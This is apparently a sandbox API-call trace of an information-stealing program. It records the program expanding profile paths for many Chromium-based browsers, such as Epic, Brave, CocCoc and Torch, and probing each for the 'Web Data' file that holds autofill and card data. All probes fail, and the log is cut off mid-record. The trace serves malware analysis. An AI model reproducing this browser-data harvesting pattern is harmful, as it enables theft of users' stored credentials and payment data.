[0164.148] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\QIP Surf\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\QIP Surf\\User Data\\") returned 0x34 [0164.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historyurf\\User Data\\ Data\\\\ta\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.148] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\QIP Surf\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.148] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\QIP Surf\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\qip surf\\user data\\web data")) returned 0xffffffff [0164.148] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.148] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f04, cbMultiByte=4, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="Epicowsers\\Historyurf\\User Data\\ Data\\\\ta\\a\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 4 [0164.149] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1970, cbMultiByte=46, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Epic Privacy Browser\\User Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 46 [0164.149] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Epic Privacy Browser\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned 0x40 [0164.149] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\HistoryPrivacy Browser\\User Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.149] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.149] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.149] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\epic privacy browser\\user data\\web data")) returned 0xffffffff [0164.149] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.149] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.149] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3f18, cbMultiByte=5, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="Bravewsers\\HistoryPrivacy Browser\\User Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 5 [0164.149] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1a8c, cbMultiByte=16, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%APPDATA%\\brave\\toryPrivacy Browser\\User Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.150] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\brave\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\brave\\") returned 0x29 [0164.150] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\HistoryPrivacy Browser\\User Data\\㘑瑮➠ῤゐῡṽ蒨瑰臰ῡ\x01") returned 16 [0164.150] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\brave\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.150] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.150] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\brave\\\\\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\brave\\web data")) returned 0xffffffff [0164.150] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.150] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.151] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CocCoc\\Browser\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned 0x3a [0164.151] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.151] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.151] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.151] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.151] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CentBrowser\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\CentBrowser\\User Data\\") returned 0x37 [0164.151] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\CentBrowser\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.152] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.152] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.152] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\7Star\\7Star\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\7Star\\7Star\\User Data\\") returned 0x37 [0164.152] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.152] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.152] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.152] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Elements Browser\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Elements Browser\\User Data\\") returned 0x3c [0164.152] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Elements Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.153] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.153] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.153] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\TorBro\\Profile\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\TorBro\\Profile\\") returned 0x30 [0164.153] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\TorBro\\Profile\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.153] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.153] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.153] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.153] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Suhba\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Suhba\\User Data\\") returned 0x31 [0164.153] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Suhba\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.153] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.153] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.153] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.153] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Safer Technologies\\Secure Browser\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\") returned 0x4d [0164.153] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.154] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.154] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.154] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.154] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Rafotech\\Mustang\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\") returned 0x3c [0164.154] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.154] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.154] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.154] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.154] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Superbird\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Superbird\\User Data\\") returned 0x35 [0164.154] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Superbird\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.154] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.154] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.154] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.154] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chedot\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Chedot\\User Data\\") returned 0x32 [0164.155] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chedot\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.155] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.155] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.155] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.155] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Torch\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Torch\\User Data\\") returned 0x31 [0164.155] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Torch\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.155] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴t") returned 8 [0164.155] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.155] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.155] ExpandEnvironmentStringsW (in: 